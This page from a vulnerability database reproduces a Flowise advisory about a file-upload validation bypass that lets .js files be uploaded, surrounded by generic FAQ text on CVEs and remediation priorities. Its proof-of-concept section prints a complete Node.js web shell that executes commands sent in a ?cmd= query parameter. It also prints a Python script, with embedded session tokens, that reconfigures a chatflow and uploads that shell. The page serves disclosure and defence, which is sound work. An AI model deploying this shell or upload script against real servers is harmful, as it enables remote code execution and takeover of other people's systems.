How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

353,823

Total vulnerabilities in the database

Flowise: File Upload Validation Bypass in createAttachment — flowise

Unrestricted Upload of File with Dangerous Type

Summary

In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

This is a bypass of GHSA‑35g6‑rrw3‑v6xc (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the application/javascript MIME type when updating a Chatflow, allowing .js files to be uploaded.

JavaScript files are not listed as an option for file upload types within web user interface: <img width="1162" height="440" alt="Screenshot 2026-01-08 152306" src="https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de" />

PoC

shell.js (Node.js Web Shell)

const { exec } = require(&#039;child_process&#039;);
const http = require(&#039;http&#039;);

const server = http.createServer((req, res) =&gt; {
    const url = new URL(req.url, &#039;http://localhost&#039;);
    const cmd = url.searchParams.get(&#039;cmd&#039;);

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) =&gt; {
            res.writeHead(200, {&#039;Content-Type&#039;: &#039;text/plain&#039;});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || &#039;&#039;}`);
            } else {
                res.end(stdout || &#039;Command executed successfully&#039;);
            }
        });
    } else {
        res.writeHead(200, {&#039;Content-Type&#039;: &#039;text/html&#039;});
        res.end(`
            &lt;h1&gt;Node.js Web Shell&lt;/h1&gt;
            &lt;p&gt;Use ?cmd=command to execute&lt;/p&gt;
            &lt;p&gt;Example: ?cmd=id&lt;/p&gt;
        `);
    }
});

const PORT = 8888;
server.listen(PORT, &#039;0.0.0.0&#039;, () =&gt; {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

Python Upload Script

import requests
import uuid

TARGET_URL = &quot;http://192.168.236.131:3000&quot;
CHATFLOW_ID = &quot;dfd67fff-23b5-4f62-a0b3-59963cabc3b2&quot;
cookie_str = &#039;token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOTRiOGY2MTIyMzI3ZmFmODg0YzM4OGM4Y2YwZTg3ZGU6MTVkNDc4MDFjNTQ0N2Q3NDU2Mzg3OWE2N2E5YmJjNmM0M2JiYjYzNDE0Y2MzZWY2ZThkYjAzZTRhNjM3MjBiNzA5NmI3YmIwMGM3YWI3YTRmM2QzN2E2OTRiMGVmY2UzOTFiZGU3MWJiNWViZDIyN2ZhNzc0NmQ0ZjFmNTM5NTFhOGJkNjdlMzEyZjMzOTk5OWQ0ZGNkYmVmYWU3OWI4NSIsImlhdCI6MTc2Nzg1ODE2NSwibmJmIjoxNzY3ODU4MTY1LCJleHAiOjE3Njc4NjE3NjUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.lUtIFztKIT6Ld8cnPaPnPfm0B47yhurPJRW6JhtSwu8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWExNzIzZWU0NzdiN2ZiMDQ1N2Q0M2JmZTY0NTIxZTlkNjM2ZWQwODgxNWJiNzU4Mjg2ZDQ3OGMwNTA3NTRkZTgwMWIwODljNDQ5YjhhZjVkODU2YWFiMzk4NTBjNjNlZjRmY2UzMmY4YWYzZmQxNGQzMmVhYzVhYjVmM2NjZCIsImlhdCI6MTc2Nzg1MzU4NSwibmJmIjoxNzY3ODUzNTg1LCJleHAiOjE3NzU2Mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y&#039;
js_mime_type = &#039;application/javascript&#039;
CHAT_ID = str(uuid.uuid4())

def configure_chatflow_uploadfile():
    url = f&quot;{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}&quot;
    headers = {&#039;Cookie&#039;: cookie_str, &#039;x-request-from&#039;: &#039;internal&#039;}
    chatbot_configdata = {&quot;chatbotConfig&quot;:&#039;{\&quot;fullFileUpload\&quot;:{\&quot;status\&quot;:true,\&quot;allowedUploadFileTypes\&quot;:\&quot;&#039; + js_mime_type + &#039;,text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\&quot;,\&quot;pdfFile\&quot;:{\&quot;usage\&quot;:\&quot;perPage\&quot;,\&quot;legacyBuild\&quot;:false}}}&#039;}
    r = requests.put(url, headers=headers, json = chatbot_configdata)

    if js_mime_type in r.text:
        print(&quot;[+] Enabled .js file uploads&quot;)
    else:
        print(&quot;[-] Failed to enable .js file uploads&quot;)

def upload_shell():
    url = f&quot;{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}&quot;
    headers = {&#039;Cookie&#039;: cookie_str}
    files = {&#039;files&#039;: (&#039;shell.js&#039;, open(&#039;shell.js&#039;, &#039;rb&#039;), &#039;application/javascript&#039;)}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print(&quot;[+] Upload success&quot;)
        print(r.text)
    else:
        print(f&quot;[-] Upload failed ({r.status_code})&quot;)
        print(r.text)

if __name__ == &quot;__main__&quot;:
    configure_chatflow_uploadfile()
    upload_shell()

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

Published: Apr 16, 2026
Updated: Apr 17, 2026
GHSA: GHSA-rh7v-6w34-w2rr
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

CWEs:

CWE-434

Affected Software
References

Software	From	Fixed in
flowise	-	3.1.0

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rh7v-6w34-w2rr

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.